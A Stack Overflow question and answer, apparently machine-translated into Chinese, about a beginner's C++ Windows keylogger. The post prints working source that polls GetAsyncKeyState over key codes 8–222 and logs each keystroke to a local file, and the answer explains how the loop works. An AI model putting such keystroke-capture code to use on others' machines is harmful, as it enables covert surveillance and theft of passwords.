我正在读一本关于编写键盘记录器的书,只是为了好玩;我遇到了这个“for”循环,但我对它的相关性感到困惑。
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
using namespace std;
void log();
int main()
{
log();
return 0;
}
void log()
{
char c;
for(;;)
{
for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
{
if(GetAsyncKeyState(c) == -32767)
{
ofstream write("C:\\Users\\IEUser\\Desktop\\text.txt",ios::app);
write<<c;
}
}
}
}
根据我的理解,这意味着 C++ 将设置 c=8,并执行循环,递增直到达到 222,然后停止(但由于父循环,它会再次继续)。书上提到数字8和222表示ASCII码。
但我看不出它如何链接到获取我的输入!输入不是已经从 GetAsyncKeyState
派生出来了吗?
最佳答案
for(;;)
无限循环一直在运行(监听)
for(c=8;c<=222;c++)
包含从 8 到 222 的运行值 [8,222]
GetAsyncKeyState(c) == -32767)
Determines whether a key is up or down at the time the function is called
所以现在您正在针对由 c 表示的 ASCI 进行测试。现在魔数(Magic Number) -32767
是什么意思?
如果我们以二进制形式写入 -32767,它会解析为 1000 0000 0000 0001。如您所见,最高有效位和最低有效位均已设置,因此根据描述,键已按下并且已被按下自上次调用 GetAsyncKeyState 以来一直在下降。
关于c++ - 这个 'for' 循环与键盘记录器有什么关系?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/70605685/